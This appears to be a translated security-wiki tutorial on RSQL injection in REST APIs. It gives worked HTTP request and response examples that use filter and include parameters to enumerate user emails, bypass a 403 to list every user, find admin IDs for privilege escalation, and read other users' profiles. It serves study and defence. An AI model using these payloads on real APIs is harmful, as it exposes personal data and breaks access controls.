RSQL Injection

Reading time: 16 minutes

RSQL Injection

RSQL Injection

Wat is RSQL?

RSQL is 'n navraagtaal wat ontwerp is vir geparametriseerde filtrering van insette in RESTful APIs. Gebaseer op FIQL (Feed Item Query Language), oorspronklik gespesifiseer deur Mark Nottingham vir die navraag van Atom feeds, val RSQL op vir sy eenvoud en vermoë om komplekse navrae op 'n kompakte en URI-konforme manier oor HTTP uit te druk. Dit maak dit 'n uitstekende keuse as 'n algemene navraagtaal vir REST eindpunt soektogte.

Oorsig

RSQL Injection is 'n kwesbaarheid in webtoepassings wat RSQL as 'n navraagtaal in RESTful APIs gebruik. Soos SQL Injection en LDAP Injection, gebeur hierdie kwesbaarheid wanneer RSQL filters nie behoorlik gesaniteer word nie, wat 'n aanvaller toelaat om kwaadwillige navrae in te voeg om data sonder toestemming te verkry, te wysig of te verwyder.

Hoe werk dit?

RSQL laat jou toe om gevorderde navrae in RESTful APIs te bou, byvoorbeeld:

/products?filter=price>100;category==electronics

Dit vertaal na 'n gestruktureerde navraag wat produkte filter met 'n prys groter as 100 en kategorie “elektronika”.

As die aansoek nie gebruikersinvoer korrek valideer nie, kan 'n aanvaller die filter manipuleer om onverwagte navrae uit te voer, soos:

/products?filter=id=in=(1,2,3);delete_all==true

Of selfs voordeel trek om sensitiewe inligting te onttrek met Boolean-vrae of geneste subvrae.

Risiko's

• Blootstelling van sensitiewe data: 'n Aanvaller kan inligting terugkry wat nie toeganklik behoort te wees nie.
• Data-wijziging of -verwydering: Inspuiting van filters wat databasisrekords verander.
• Privilegie-eskalasie: Manipulasie van identifiseerders wat rolle toeken deur filters om die aansoek te mislei deur toegang te verkry met die voorregte van ander gebruikers.
• Ontduiking van toegangbeheer: Manipulasie van filters om toegang tot beperkte data te verkry.
• Vervalsing of IDOR: Wysiging van identifiseerders tussen gebruikers deur filters wat toegang tot inligting en hulpbronne van ander gebruikers toelaat sonder om behoorlik as sulks geverifieer te wees.

Gesteunde RSQL-operateurs

Nota: Tabel gebaseer op inligting van MOLGENIS en rsql-parser toepassings.

Voorbeelde

• name=="Kill Bill";year=gt=2003
• name=="Kill Bill" and year>2003
• genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
• genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
• director.lastName==Nolan;year=ge=2000;year=lt=2010
• director.lastName==Nolan and year>=2000 and year<2010
• genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
• genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Nota: Tabel gebaseer op inligting van rsql-parser toepassing.

Algemene filters

Hierdie filters help om vrae in API's te verfyn:

Algemene parameters

Hierdie parameters help om API-antwoorde te optimaliseer:

Inligtingslek en opsporing van gebruikers

Die volgende versoek toon 'n registrasie-eindpunt wat die e-posparameter vereis om te kontroleer of daar enige gebruiker geregistreer is met daardie e-pos en om 'n waar of vals terug te gee, afhangende van of dit in die databasis bestaan of nie:

Versoek

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Alhoewel 'n /api/registrations?email=<emailAccount> verwag word, is dit moontlik om RSQL-filters te gebruik om te probeer om gebruikersinligting te enumerate en/of uit te trek deur die gebruik van spesiale operateurs:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

In die geval van 'n geldige e-posrekening wat ooreenstem, sal die aansoek die gebruiker se inligting teruggee in plaas van 'n klassieke “true”, "1" of wat ook al in die antwoord aan die bediener:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Magtiging

In hierdie scenario begin ons met 'n gebruiker met 'n basiese rol en waarin ons nie bevoorregte toestemmings het nie (bv. administrateur) om toegang te verkry tot die lys van alle gebruikers wat in die databasis geregistreer is:

Versoek

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

We gebruik weer die filters en spesiale operateurs wat ons 'n alternatiewe manier sal bied om die inligting van die gebruikers te verkry en die toegangbeheer te omseil. Byvoorbeeld, filter volgens die gebruikers wat die letter “a” in hul gebruiker ID bevat:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Privilege Escalation

Dit is baie waarskynlik om sekere eindpunte te vind wat gebruikersprivileges deur hul rol nagaan. Byvoorbeeld, ons werk met 'n gebruiker wat geen privileges het nie:

Request

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

Gebruik sekere operators kan ons administrateur gebruikers opnoem:

Versoek

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Na kennis van 'n identifiseerder van 'n administrateur gebruiker, sal dit moontlik wees om 'n privaatheidsverhoging te benut deur die ooreenstemmende filter met die administrateur se identifiseerder te vervang of by te voeg en dieselfde voorregte te verkry:

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......

Imiteer of Onveilige Direkte Objekt Verwysings (IDOR)

Benewens die gebruik van die filter parameter, is dit moontlik om ander parameters soos include te gebruik wat toelaat om sekere parameters (bv. taal, land, wagwoord...) in die resultaat in te sluit.

In die volgende voorbeeld word die inligting van ons gebruikersprofiel getoon:

Versoek

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Die kombinasie van filters kan gebruik word om outoriseringbeheer te ontduik en toegang tot ander gebruikers se profiele te verkry:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Antwoord

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Verwysings

• RSQL Injection
• RSQL Injection Exploitation